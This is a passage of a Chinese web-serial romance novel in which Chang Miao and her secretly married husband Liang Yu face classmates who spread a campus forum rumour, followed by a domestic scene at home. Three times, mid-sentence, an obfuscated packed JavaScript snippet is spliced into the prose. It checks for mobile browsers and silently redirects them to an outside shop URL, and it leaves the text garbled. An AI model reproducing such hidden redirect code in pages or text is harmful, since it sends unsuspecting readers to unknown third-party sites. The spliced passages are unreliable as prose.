常妙想起当时的场面，心跳还砰砰的，“现在该告诉我这都怎么回事了吧，陆宗序前女友找你干嘛，还那么大胆，敢背后行凶，你是做了多遭人恨的事？” “嗐，这话说的，我能干那事吗，就是……”秦羽鹭深呼吸了下，“就是咱去酒吧那回，我不是去找我弟了吗。那小子你也知道，叛逆期，高二了不好好学习，被一群不学好的混混带去喝酒了，以为人家真跟他好呢，还不是为了让他掏钱买单。找到之后，我就跟他吵了一架，中间还把你给我的蛋糕摔坏了。” 孔霖常妙是知道的，见过几回，跟羽鹭是同母异父，两人关系从小就亲密不起来，但又不算坏，可能羽鹭一直表现出来的样子比较凶悍吧，所以孔霖可以说还有点怕她。 常妙：“那陆宗序呢？” 秦羽鹭：“陆宗序这时候就碰巧出现了呗，毕竟是过生日嘛那天，蛋糕没了，多少就有点难过，陆宗序就请我吃了顿饭，吃到一半赵妍月来找他。那时候他俩已经分手了，但赵妍月不肯接受，陆宗序顺手就指了我，说我是他新女朋友，我就配合着演了段戏。” 常妙哑然，片刻，“你喜欢他？” 秦羽鹭一听，忙给她做了个“嘘”的手势比在嘴边，像是不忍面对，“……以前暗恋过，他不知道。” 常妙觉得不止，如果只是以前，那上次吃饭，或者说更明显的上上次，去陆依然家的时候，听人来了就跑，这反应可不像只是“以前”暗恋。 手机这时响起来，常妙看了眼，短暂跟对面说了两句就挂了。 秦羽鹭掀眼，“梁嵛过来了？” 常妙：“嗯，到医院门口了。” 常妙是挂号那会儿给梁嵛打的电话，毕竟自己的好朋友因为他的好朋友受伤了，现在赵妍月又推了人跑了，她没有陆宗序的手机号，只能给梁嵛打，这事怎么着也得有个说法。 很快，常妙看见前面拐弯的地方出现了两个人影，除了梁嵛，他身边还跟着陆宗序。 梁嵛同时望见她，正想招手示意，就看常妙朝他们这边翻了个嫌弃的白眼。 梁嵛能肯定，这肯定不是冲自己，他斜睨向陆宗序，陆宗序正摸着鼻子有点不自然，察觉到视线，一转头，就瞧见梁嵛那种似笑非笑，说不上是安心还是什么的怪兮兮的眼神。 只愣神的时间，梁嵛淡淡的声音传出，“看我做什么，你跟过来难道不是要给人家道歉？” 陆宗序：“……” 行，他这会儿没办法跟他闹这个，脑海里演过一遍伸脚跘人的愉快场面后，陆宗序把视线投至前方。 常妙只跟梁嵛在电话里说了秦羽鹭因他摔下楼梯的事，可具体也没说伤成什么样，此刻她坐那，长袖长裤的也看不出什么，但脑袋上贴的那块纱布倒是明显的很。 他皱了下眉。 “手续都办完了吗？”梁嵛径直走到常妙身边。 常妙：“还剩药没取，我这就……” 陆宗序：“给我吧，我去。” 常妙没跟他客气，找出那张药单，递给陆宗序，陆宗序接过，却没立马去，“待会儿我想和羽鹭单独聊几句，可以吗？” 常妙诧异一瞬，扭头眼神询问秦羽鹭，秦羽鹭也有些莫名，但还是点头了。 “好吧，那我就先走了。” 离开时，常妙又想起来件事，在拐弯处给秦羽鹭招手，“记得让他给医药费！” 陆宗序：“。” - 空气里的风比常妙下午出来时多了几分明显的潮湿味道，厚重的云层低压，没下雨，但看起来很快就要降下雨滴，梁嵛今天是坐陆宗序的车来的，自己没开车，看常妙出了医院准备往车站走，伸手拉住她道：“打车吧，一会儿万一下雨你回学校不方便。” 常妙想了下，也行，“那你呢，直接回家？” 梁嵛：“我先送你回学校。” 常妙：“这样是不是有点太麻烦了？我自己一个人可以。” “没事，正好去你那边借把伞。”梁嵛说完，没再给常妙推拒的时间，抬手拦了辆出租车，把人塞了进去。 这边离学校不远，十分钟就到了，车没进校门，而是停在之前梁嵛送常妙回来的侧门。 周末，哪怕快下雨了，对学生的出行好像并没有造成太大的困扰，这边一路有不少卖小吃的，梁嵛指了一家似乎挺受欢迎的砂锅粉，询问常妙，“你要不要打包一份？六点多了。” 常妙一顿，这才反应过来已经是晚饭的点了，她笑了下，“不用，我跟羽鹭下午三点多才吃的午饭，现在还不饿，一会儿去学校里便利店买个面包，晚上饿了吃那个。” 梁嵛点头，没再多说。 常妙：“对了，你上学的时候来过这边吗？” 梁嵛：“偶尔吧，这条路跟科大学生平时常走那条不顺路，只有需要去银行办事的时候会路过。” 南江科大和庆大学生的银行卡都是在这家办理的。 常妙点点头，她刚上大学的时候，侧门这边路还没修完，经历了四年，这里才逐步有了如今的改善，地面压了新的水泥，比之前干净了不少。 鉴于这层“前邻居”的关系，常妙很乐意给他介绍介绍现在的学校周边环境，要不是天气看着不妙，她还能带他去自己的学校里参观一下。 “这儿有家卤菜特别好吃，要不，我请客，买回去你在家吃？” 梁嵛往天上看了眼，风雨欲来，就是仍旧憋着口气，不知道什么时候会突然砸下雨滴。 “没事，很快！” 常妙有了主意，立马行动，有时间犹豫，说不定她都买完了，“快来！” 她往前跑，还不忘回身给梁嵛打手势。 摊位前正好刚走一拨人，常妙忙占了位置，从老板娘那接过来一个小盆，“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157162|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己夹还是我给你夹？” 梁嵛今天穿的随意，宽松的黑色长裤，灰色的半袖内搭一件棉质短袖，这么一站，只要不瞧正脸带出的那股认真又严正的气质，倒也挺像馋嘴的大学生，“你夹吧，我吃什么都行。” 常妙笑笑，她这段时间也发现了，梁嵛一点也不挑食，那她就可着自己爱吃的，想要推荐的给他放。 这种称斤的通常都不好掌握价格，常妙之前来吃都抠抠搜搜的，挑上几样拿一点点，最后十块以内就觉得自己厉害死了，但今天是给梁嵛做东的，她就大方了许多，菜也拿，肉也拿，最后居然花了将近四十块，够俩人吃了。 后面还有人要买，常妙把盆交给老板娘后就和梁嵛撤到了一边，“量有点多，不过你是男生嘛，应该吃得完？” “能吃得很饱了。” 梁嵛着重发了“很”的音。 常妙被他逗笑。 来来往往的人有变少的趋势，常妙看了眼手机的功夫，没想到再抬头，竟看见了个意外的人。 临近毕业，要准备的东西不少，张宁这时候出现在学校也正常，张宁似乎也是准备买饭，既然对上了，常妙就礼貌性地冲他点了下头。 张宁旁边还有个男生，不知道是舍友还是同学，相比张宁，那个男生的表现反而更奇怪，眼神偷偷摸摸的，不停地在常妙和梁嵛身上打量，同时半遮不掩地表现出一些莫名的意味，让常妙感觉很不舒服。 梁嵛对这些恶意情绪的感知上不是那么迟钝的人，他同样感觉到了。 甚至他比常妙更能理解到这个眼神的意思。 窥探，兴奋。 看好戏。 梁嵛眯了下眼，身体往前倾了几度，却又顾虑着什么似的及时顿住。 常妙平时遇事大多内敛，这会儿招呼也打了，她跟他俩又不熟，索性扭头装看不见不再搭理了。 然而张宁不知怎么，却还准备跟她聊天，“常妙，不介绍一下吗，你旁边这位是？” 常妙一怔，“朋友。” 她这么解释。 话音落下，张宁旁边的男生笑了，还笑出声了，仿佛刚才常妙给他讲了一个多么好笑的笑话。 张宁脸上也露出复杂的神色，这种复杂让常妙很容易联想到某种家长逮到孩子犯了错，明知故问，等着看小孩当面再撒一次谎的场景，她微微一顿，突然想起来昨天羽鹭给她说的那个帖子。 是因为那个吗？ 果然，下一秒，张宁轻咳一声，意有所指，“你说朋友，那就是朋友吧，常妙，我是愿意相信你的。不过作为同学，我还是想提醒一下你。” “家里有困难我理解，谁还没个低谷的时候呢，但你可以去工作，可以去求身边朋友帮忙，找我当然也可以，我会尽力帮你，但就是千万别被人三言两语就哄骗去做了违背道德的事情。” 旁边男生胳膊肘怼他，声音嘟嘟囔囔的，“你管人家这些，现在看来，那上面说的也不是空穴来风。”说着，他给张宁使眼色，让他去瞧梁嵛的左手。 常妙和梁嵛也顺着一看，他的左手没有任何特殊。 除了一枚婚戒。 26. 第 26 章 常妙心底闪过一丝异样，隐约感觉到有哪点不大对，但一时半刻的又抓不住，但不管怎么样，她总归是不想跟张宁多做纠缠，准备去看看自己卤菜好了没走人的时候，张宁突然横过来挡了她下。 常妙吓了一跳，猛地后退，可能是她对张宁太戒备了，反应得突兀，脚下没留神，踩到块石头一滑，脚踝瞬间扭曲成一个骇人的弧度。 背后及时抵靠上一片坚实的力量，她心跳着，被身后的人稳稳扶住。 梁嵛抓着她胳膊让人站好，“没事吧？” “没事。”常妙动动脚踝，有点疼，但能感觉出来没扭伤，她缓口气，看向张宁，“你到底想干嘛？” 地方本就不大，常妙这边的动静已经惹得周围的学生朝她投来视线，路过的没好意思真停下来看热闹，但每走过一个人，常妙都能感受到那些好奇探寻的目光。 张宁背朝小路，浑然没有常妙那样的直观的羞耻感，况且，他也不怕，丢人的不是他。 “我没想干嘛，是你激动了吧？” 张宁依旧摆出一副友好的姿态，但说出来的话实在叫常妙有些忍不住……她难得有连客气都不想维持的时候，“张宁，你有话就说，没话能不能走，我跟你不熟。” 这话不知道戳中了张宁哪里，刚才还挺能装的人一下变了脸色，“常妙，你就是这么对待同学对你的关心吗？” 跟张宁站在一起的男生此时也有些不屑，“就是，你对张宁凶什么，他是还念着对你有点感情才好心提醒你，舍了金钟捡铜壶，你以为你攀了个什么有钱人？找男人之前眼睛也擦亮点吧！跟人在一起的时候打听清楚，不是年纪大有点名气就牛逼了，那么抠，还出轨，你指望能从他身上得到什么？一个小暴发户而已，那点钱买套房都没了吧，装模作样谁不会，现在还不是个给别人手底下打工的。” 侮辱性的词汇一句接一句，常妙睁大眼睛，“你在说什么？” “我在说什么你不懂？都是同学，看在张宁的面子上，我也奉劝你一句，别看着有点小钱就往上贴，像他那种人。”男生阴阳怪气地斜了眼梁嵛，“道德低下，你还是尽早脱身的……哎唷！” 男生说着说着突然惨叫一声，“你干什么！” 常妙今天穿的长裙，她拎起来，二话不说，跑过去又朝他左边的小腿狠狠踢了一脚，“你再骂他一句！” 男生这下直接疼得蹲在了地上。 谁也没想到平时文文静静一姑娘会突然动起手来，张宁惊愕了一瞬后，忙上前拦住，“你怎么打人啊？” 常妙瞪视着张宁，像只要咬人的兔子，“我打他怎么了？谁让他胡说八道的！” 胸口因为气愤剧烈起伏着，她手叉着腰，将自己的气势撑得高高的。 “常妙。” 这是领证后，梁嵛第一次没叫她小名，他迅速按下那抹一闪而过的错愕，漆黑的眸底沉着肃意。 怎么说对面也是两个成年男人，未免出事，他第一反应是想先将人拉到自己身边，至少让她在自己能保护到的一个合适距离内就好，但他的手刚抬起来，常妙就好像感觉到什么似的，顺着他的动作把人拉到自己身后。 过程中，她看都没看，纤细的身子非常坚定地挡在他的前面。 张宁脸色难看地盯着她，“你是不是疯了？我们说的也都是事实啊，那帖子上都写了。” “帖子？”常妙一顿，突然冷静下来，质问，“那帖子是你发的？” 张宁心头一凛，立即撇清关系，“不是我，没有证据不要给我扣帽子。” “哈。”那天她跟羽鹭跟他说完话没多久就和梁嵛碰面了，时间、地点、动机，张宁全都占着，常妙之前只是不管，但真要追究起来，那她觉得最有可能的就是他！ 或者，不是也无所谓，不是更可恶，“你自己都说没有证据不要给你扣帽子，那你们又哪来的证据能让你们这么有底气的来污蔑别人？还跟我讲道德！” 旁边男生这时缓过劲了，被一个女生打，说出去笑死人，他狰狞着表情，指着两人握住的手，大声说：“那你给我解释解释，他是不是结婚了，你是不是正在跟一个已婚男人当街拉拉扯扯！” 这一句犹如炸弹，先前只是觉得气氛不对，扫两眼就离开的路人这时停下来好几个，都在不远处围观，这里是学校，来往最多的就是庆大的学生，常妙神色僵了下，下意识想用身子挡住围观者看向梁嵛的视线，但她个子矮，肩膀以下根本挡不住。 骂她无所谓，但不能牵扯到她身边的人，梁嵛什么也没做，凭什么要遭受这些，还暴发户、出轨…… 太难听了。 可…… 常妙有一瞬身上发凉，她解释不了。 她不能说结婚的事。 常妙：“我跟他谈恋爱不行吗？戒指是情侣戒指，我也有。” 男生笑：“那你怎么不戴呢？人家都戴到无名指上了，你连个戒指的影子都看不到，狡辩也不是你这么说的，这话叫人家真老婆听见多不好。” 她就是真老婆啊！ 常妙深吸了口气，好吧，她骂不过，所以在行动和语言之中，她当即选了行动，管他呢，她就是听不得这人在这随口污蔑别人，大不了最后真闹到辅导员那，她就坦白，她就结婚了怎么滴！总之，不能说梁嵛。 眼见着，常妙又要跳起来打人，一股力量拦腰将人带了回去。 常妙懵了下，抬头看向梁嵛，他敛着眼，漆黑的眸子映着她的脸，“别打人。” 那她又说不过啊，要是羽鹭在这就好了，常妙有点委屈，正想说什么，梁嵛却安抚地揉了下她头发，“手会疼。” 常妙：“欸？” 感觉到常妙力气一卸，梁嵛把她从怀里松开。 他主动走上前，审视般扫向面前的两人。 张宁和那男生下意识后退一步，警惕道：“你干嘛？” 从某种角度来说，身高对男人来讲好像确实挺重要的，就比如此刻，两方“对峙”，梁嵛仅一个俯看的动作就莫名带上了压迫感，即使他并没有表现出任何暴力的趋势。 “你是叫张宁，是么？” 张宁没吭声，但答案显而易见。 “你呢，叫什么名字？”梁嵛又转向另一个男生。 那男生眼神闪烁，突然没了刚才的气焰，人都有慕强心理，或者对他来说，畏强欺弱这个词更合适。 他不怕常妙，因为常妙只是个女生，但梁嵛，不一样，刚才他一直在后面，才给了他发挥的余地，现在当面走过来了，他控制不住心里就发虚了。 他就是个普通家庭，大学四年一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13175033|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 混着，而从那个帖子上看，梁嵛在一家很有名的公司工作，毕业后还能回母校演讲，别管其他的那些背景，他的工作能力、社会地位，每一样两个人都是不能比较的。 他本能地，畏惧这样的人。 “名字。” 梁嵛又重复了一遍。 冷淡的声音明明很平静，却叫人心里一虚。 “李兆。”那男生飞快说。 “你到底什么意思？” 张宁的体面比李兆维持得好多了，他盯视着面前的男人，展现着他身为成年男性沉着冷静的一面，却不知道在外人看来，两个人差别巨大。 或许是年龄差距，或许是成长经历，梁嵛仅站在那，就给人一种虬结根深的挺立感，像是沙漠边缘的胡杨树，风沙无谓，独生独长。 他从来不是情绪化的人，此刻也只是就这样直视着张宁罢了。 梁嵛：“没什么，知道名字好办事而已。” 张宁：“……办什么事？” 梁嵛：“造谣从来都不是无成本的，你们应该是跟妙妙一个年级的吧？再过不久就要毕业，你觉得，如果这时候收到一份法院的起诉书会不会对毕业有影响？” 张宁和李兆一下呆了，他们哪知道会不会影响啊，但是，万一呢？！张宁都找好工作了，实习期马上就过，就等着学校这边彻底结束他就可以正式入职了，这时候可不能出事！ 李兆当初考大学那是卡着分数线上来的，四年了就想要个毕业证，他也不想这时候平白延毕啊！ 李兆稳不住，脸上的慌乱肉眼可见，他讪笑，“哥，不至于吧，我也没说啥……” “年纪大，还道德低下？”梁嵛淡淡挑眉，“补充一句，刚才你们说的话，我录下来了。” 李兆：“……” 张宁比李兆聪明一点，他看向梁嵛旁边的常妙，缓了语气，“常妙……” 梁嵛八风不动地抬起空余的那只手把常妙的脑袋推到身后，“叫她没用。” 他扫过周遭还往这里瞧的路人，放下最后的话，“就这样，今天的事情我不多做追究了，等着收传票吧。” 张宁：“……” 李兆：“……” “张宁！都是你，你没事招惹人家干啥！” “我说什么了，那些话不都是你说出来的吗？” “我还不是为了你！” …… 身后的声音吵吵闹闹，但都跟常妙没关系了，梁嵛从小摊上取了做好的卤菜，牵着她往学校的方向走，这还是两人第一次这样……不，好像不是第一次了。 那次她喝醉，也是在这，梁嵛把她从围栏上抱下来时也牵过…… 常妙心情微妙，无意识收紧了下掌心。 她的手被梁嵛的完全包裹着，无论是手心还是手背，都能感觉到那种粗糙又宽厚的触感，梁嵛的手上有许多薄茧，常妙曾经用眼睛看到过。 是他独自生长的痕迹，并不会让人讨厌。 地面零零落落地已经开始洇下雨滴，距离女生宿舍楼已经很近，常妙低头，避免雨水困扰视线，但突然，身边的人停下，头顶上冒出一片无雨的小庇荫，她眨了眨眼，抬头。 梁嵛的手撑在两人中间，镜片下的黑眸浅浅看着她道：“要不，回家吧？我给你做好吃的。” 27. 第 27 章 美食的诱惑是很管用的，有点像那天常妙违背常理地答应了梁嵛的提议，这次她也莫名背离计划，答应了他回家。 原本还想等羽鹭回去的，但最后常妙只上楼拿了电脑和雨伞就走了。 大雨瓢泼，从学校到小区，两人身上的衣服湿了不少，尤其是梁嵛，大半的伞面都给了常妙，自己只有靠近常妙的这小半边还算干燥。 湿哒哒的衣服黏在身上到底是不舒服，一进门，常妙就说自己想先去洗个澡，梁嵛彼时蹲在地上，手里正提着她刚脱下的鞋，“好，你先去，我把这边收拾一下，一会儿也冲下。” “哦……” 常妙想说什么，但梁嵛已经起身往客厅里的那个卫生间里走去，他另一只手提的是他自己的，两人的鞋子踩了水，踩了泥，脏的不行，卫生间的门没关，她能听见梁嵛在里面放水的声音。 原地停驻片刻。 常妙摸摸耳垂，踩着拖鞋，进了卧室。 - 两人平时卫生间并没有刻意分开用，只有一些特殊情况才会各占一个，常妙从主卧出来的时候，梁嵛还没有洗完，她抱着自己换下来的脏衣服暂时先拿盆放到了洗衣机旁边，等梁嵛那边弄完，到时候一起洗。 路过玄关时，她朝大门的方向瞥了眼，地面上的水渍没了，干干净净。 买回来的卤菜在餐桌上放着，好大一份，常妙一瞧心里便忍不住一叹。 她这是上当受骗了吧？ 还做什么好吃的呀，直接吃这个都够了。 想了想，她又从冰箱里拿了点水果，准备去洗洗切切，一会儿饭后吃。 客厅的拐角处，有人拧动门把手的声音，蒸腾的热气从里面钻出，很快消失不见。 梁嵛有些热，将门打开了一个十几厘米的缝隙供空气流通，镜前，他神色微微发怔，头发随意擦了两下就没了动作。 “你刚才为什么那么生气？” 回来的路上，他这么问常妙。 当时的情况他听了几句就明白是怎么回事了，学校里有人在传他和常妙的流言，甚至发到了学校的论坛上，引来一些无聊的人传播、扒信息。 梁嵛都能猜得到，这很有可能是因为他最近不时会去学校找常妙的原因。 其中的内容很容易联想，大概就是类似女大学生为了钱跟社会人士“来往密切”的话。 这件事常妙应该是知道的，因为她主动提到了有个帖子，但是他今天，不，这几天，两人交流时她完全没有提过，由此推测，她要么是想要自己消化，要么就是不在意。 二者之间，他倾向于不在意，可如果是不在意，她今天又为什么会生气呢？ 相处这么久，梁嵛自认为是了解她的，因为常妙实在是很容易看透。 她开朗，坚强，待人真诚，还很爱笑，像朵太阳花，每□□气蓬勃，只要你看向她，她立刻就会摆摆她的花叶，对你展示她的善意。可能这朵太阳花还会说话，不管你做什么，哪怕只是随手写个字，她都会笑眯眯地夸你这字写得真好看。 唯一算的上是缺点的，就是在人际交往上有些过于内耗了，不会拒绝别人，害怕伤害别人。 可说实话，梁嵛觉得这也不是缺点，这是她的善良。 他很难想象这样的姑娘有一天会生气到跳起来打人。 常妙听完他的话，显然有些惊讶，“他都那样说你了，我当然生气啊。” 梁嵛瞳孔很轻地颤了下。 所以，真的是因为他。 他没有误会。 常妙：“你是觉得我那样不好吗？” 梁嵛眼底蕴起淡淡的笑，“不是，只是有些意外。” 常妙下意识在脑海里换位思考了下，她平时的性子好像确实不会这样，但总有例外情况啊。 “不用意外，你现在是我的家人啊，我肯定会维护你的。”说着，她抬手大方地拍了下梁嵛的肩。 梁嵛表情兀然一怔，嘴角的弧度瞬间变得有些僵硬。 家人…… 只是家人？ 梁嵛感觉到自己喉间梗塞，像是被一团压实了的空气堵着，能说话，但又有些难受，一直到这一刻也是。 他摸了摸自己的喉颈，修长的指骨在附近慢慢摩挲，试图缓解那种闷涩。 突然，厨房的方向传来铛的一声金属落地的声音，声响巨大。 梁嵛反应了瞬，立即冲了出去。 “怎么了？” 厨房里，常妙站在台面前，案板上散落着没切完的水果，地面上掉着菜刀，刀刃朝内，拳头不到的地方就是常妙的双脚。 梁嵛心里一紧，迅速上前把刀捡起放到安全的位置，他再扫向常妙，她低着头，右手攥着左手食指似乎还没反应过来，他已经看到有血液顺着指隙流出，砸到地上。 梁嵛：“过来。” 他半搂着常妙，把人带到水池这边，拧开水龙头冲洗伤口。 迟来的痛意在水流的冲刷下渐渐回到了原轨，伤口不大，就是有点深，淡红色混着水淌了一池子，人对大面积的血液都有抗拒的生理反应，常妙不忍再看，正想转头回避这种冲击力时，不料更大的冲击力就这么毫无预兆撞进了她的眼睛里。 她正被梁嵛圈着…… 不，这不重要，重要的是，梁嵛上面没穿衣服！！！ 可能是事发突然，梁嵛也是刚刚冲完澡，他过来的时候，身上的水都没有完全擦干。 就在她的眼皮子底下，一点很不规矩的水珠顺着他的锁骨就滑到了那抹淡粉之上，常妙睁大眼睛，整个人僵僵定住了。 流水声不知道什么时候停的，梁嵛的声音在她脑袋上响起，“你在这等一下，我去拿医药箱。” 梁嵛平时精打细算，但是在药品急救这方面倒没太省着，每年都会定时更新一些常用药备着以防不时之需，他说完，人就朝书房的方向跑了过去，常妙只觉视野里急速变焦，再一眨眼，脑海里只留了一个梁嵛扭身时腰腹的画面。 好、好漂亮哇…… 梁嵛他有腹肌！！ 常妙的心脏砰砰的，但没等她平复下来，梁嵛拿着医药箱又回来了。 他快速整出碘伏和纱布，然后先抽了几张卫生纸，摊开掌心，“来，手给我。” 常妙听话地给他放上去，接着注意力便很难再往自己的伤口上放了。 谁让他俩这么面对面啊！这不看得更清楚了吗…… 梁嵛擦干她手上其余的水分，处理伤口时，他怕常妙疼，特意安抚了下，“先消下毒，可能有点疼，你忍一下。” 常妙：“哦……” 这声应得属实有点心不在焉了。 梁嵛不禁抽空看了她一眼，而后，动作微微一顿，敛下眸，专心包扎。 “好了，等晚一会儿不流血了我给你换创可贴。” 常妙换回自己被纱布加粗的手指头，同时，也加粗了自己的道德修养，她移开视线，“那这些怎么办？” 案板上还有她没有切完的苹果。 梁嵛：“我来，你去里面坐着，一会儿开饭。” 常妙：“好。” 也不敢给他添麻烦了，食指伤口的痛意一阵阵的，但好在能接受，她退一步打算出去，但临走到门口，又忍不住回头看了一眼。 梁嵛已经转过去了，正在收拾她弄出来的残局，随着他的动作，他漂亮的背肌也随之拉扯变化，宽肩窄腰，中间凹陷的脊柱沟宛若一道完美的沟壑顺利地让他发尾的水珠淌没于腰下。 常妙冷不防又被硬控了几秒钟。 但常妙是不会唾弃自己的！ 爱美之心人皆有之，况且她也不全是因为这个，天知道他们这些画画的是多么喜欢这些人体素材啊！要是能拍照就好了。 常妙这么想着，实际上还是非常好心提示道：“那个，你不穿件衣服吗？” 梁嵛闻声转过头，他没戴眼镜，薄薄的眼皮掀起，比平时少了几分严肃感。 “不是喜欢？”他望着她，嗓音淡淡，又极真诚。 常妙怔愣了下，“啊？” 梁嵛这时整个人都转了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186578|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来，一副正经又坦然的样子，“我看你好像挺喜欢看。” 常妙：“。” 常妙可能自己都没意识到，她刚才的眼神有多明显，目不转睛到像是小动物看到了什么多么美味的食物。 类似的上一次，是他做了一回糖醋排骨，再上一回，是他“婚变”后把人接回来的那天早上，穿了西装。 但不论哪一次，都没有这次反应大。 梁嵛慷慨道：“我们是夫妻，你要是喜欢，我露一露也没什么。” “没关系，我不介意。” “………………” 常妙脸都红透了，不止是自己偷看被发现的尴尬，主要是梁嵛这人为什么能这么正经地说出这种话啊！！ “我，我……” 梁嵛：“嗯？” “我饿了！” 常妙说完留下一个落荒而逃的背影就跑了，但房子就这么大，她能跑到哪儿去，客厅里绕了一圈之后还是老实坐到了餐桌旁边，然后一抬头。 又跟梁嵛对视上了。 常妙：“……” 梁嵛平日是个挺严肃的人，或者说，至少不怎么爱笑是真的，梁嵛自己也这么认为，但每天这样看着常妙，他有时候又确实忍不住。 他嘴角轻提，感觉到喉咙这会儿舒服多了，“坐着吧，我马上就好。” - 这周发生了许多事，常妙再回到学校心情都有点不同。 首先是张宁和那个李兆。 梁嵛真的找律师起诉了。 而且不知道是有意还是无意，法院的传票最后是送到了辅导员办公室去，当时张宁辅导员吃完午饭回来，看见桌面上放了两个法院过来的文件还吓了一跳，忙打电话把两人叫了过去。 隔了十来天，张宁和李兆都以为这事就这么过去了，哪成想最后还真搞了这么一出。 常妙现在不常在学校，加好友也不理，俩人找人都没处找，读了十多年书，为的就是这张毕业证，他们不可能在这个时候因为自己随口蹦出来的几句闲话就耽误了自己的人生，最后还是互相打配合，在教学楼里堵了常妙，眼泪哗啦地道了歉，才终于将这事过去了。 而关于那个帖子，经证实，确实是张宁发的。 一开始他只是觉得被常妙落了面子在论坛上自己发泄的，但没想到好事的人这么多，发展到后面直接扒出了梁嵛的个人信息。 当时常妙在准备举报删帖前看过一回，上面有些人说的话比李兆还要过分，甚至于陆依然曾经提到的那个吐槽截图也被翻了出来。 很多嘲笑声。 【该说不说，人不可貌相啊，本来还觉得这人长得挺帅，结果抠门还出轨，下头！】 【（举手）就很好奇，cm家不是欠了一屁股债吗，这人真能给她花钱？】 【怎么不能，都成小三了，那待遇肯定比正宫好吧。】 【我有学姐是隔壁的，听说这个男的在大学时候风评就不好，很难相处，平时朋友也没一个，而且啊，我还听说，他没爸妈，所以怪不得……你们懂。】 【楼上怪不得什么？】 【怪不得没素质啊，干出这种事，恶心！】 【骂就骂，别牵扯人家父母吧……】 【我是客观评价，家庭教育的重要性用得着我多说？一个小孩从小没大人在旁边管教能成什么好样子？说不定暗地里还有什么不为人知的肮脏事呢！】 …… 话锋的转向是常妙不能接受的，她已经学会不在意他人的看法，但是她没办法做到因为自己而牵连到身边的人遭到辱骂还依旧不在意。 隔着网线，这些人也就是仗着这道网线。 那天，她生了很久的闷气，梁嵛如约做了很多好吃的她都吃不下去，最后问了才知道是怎么回事。 梁嵛：“你不用生气。” 他不会哄人，只能干巴巴地说这样一句。 常妙没精神地“嗯”了声。 梁嵛给她夹了一块油亮亮的小排骨，“反正，我已经有家了。” 28. 第 28 章 普天同庆的日子！！ 常妙的毕设总算是赶在ddl之前做完了，答辩的PPT也只剩一点，今天晚上动动小拇指就能搞定！ 常妙美滋滋地啃着个大苹果，跟身后人打商量，“羽鹭，咱们下午去食堂吃饭吧？我想吃肥肠粉了。” “今天吗，咱们明天去吃吧，今天我有约了。” 秦羽鹭正在衣柜里扒拉衣服，翻出件无袖长裙往身上一比，“这件好看吗？” “好看。” 不收腰的休闲款，穿起来酷酷的！ “不过你是要去……”常妙说着便一顿，语气微讶，“你是跟陆宗序出去？” 是……他俩在一起了，那天也不知道他们在医院聊了什么，晚上的时候羽鹭就跟她说了这个消息。 常妙震惊得不行，毕竟他俩的关系在她这还只是以前见过，羽鹭有点心思但不想打破局面的阶段，甚至连暗恋这茬她都是这几天才知道，哪成想几小时没见，他们就在一块了！ 有时候世界真是个循环，之前羽鹭担心梁嵛人不行，现在她也开始有点怀疑陆宗序配不配得上，一个前女友能做一张Excel表格的人，真的可靠吗？ “大约还行。”羽鹭是这么说的。 “可能我当初是看上他的脸了吧，总想试试看，不行就分手。” 这种态度倒是让常妙安心了点，总之别让自己受伤就好。 确定好衣服，秦羽鹭快速化了个妆。 手机震动，是陆宗序发来的消息，她穿上鞋，“那我走了啊，晚上回来给你带好吃的！” 过了一会儿，门又打开。 “对了，那个肥肠粉，你不许先吃！等咱俩明天一块！” 常妙：“知道啦！” - 总坐着画图，常妙有空的时候也乐意出去走走。 到了饭点，她独自去了食堂，庆大的食堂味道还是不错的，尤其去年学校把食堂挨个翻新了一遍，参考了一些商业餐厅的设计，装修更加干净和时兴，学生都不像以前填饱肚子就跑了，吃完饭还会再坐着聊聊天。 常妙就去了二楼，要了份米饭，以前她通常都是两个素菜，但今天好奇之下，换了一个糖醋排骨想尝尝什么味。 常妙：【呐，我的晚饭！】 她和梁嵛还一直保持着互相“报备”的习惯，照片发过去之后，对面没有立刻回，常妙就知道，估计是又加班了。 一个人吃饭的娱乐就是刷手机，她一边吃一边看，突然，屏幕上面弹出来个消息，赵婕找她。 赵婕就是她另外两个舍友之一，现在外面租房实习，基本上是不回宿舍了，常妙上一次见她还是班长过生日的那天。 赵婕：【亲爱的，你在干嘛？】 常妙：【在吃饭呢。】 常妙把刚才给梁嵛发的照片也给赵婕转了过去。 赵婕：【哦哦，你毕设做的怎么样啦？】 常妙：【前两天卡线刚做完！】 常妙：【怎么突然这么问，难道你……？】 赵婕瞬间破防：【呜呜，别提了，天杀的狗公司，把人当奴隶，我根本没时间做，我导师已经给我下最后通牒了，我要是答辩前还弄不完就来年再见了。】 常妙：【啊，那你来得及吗？】 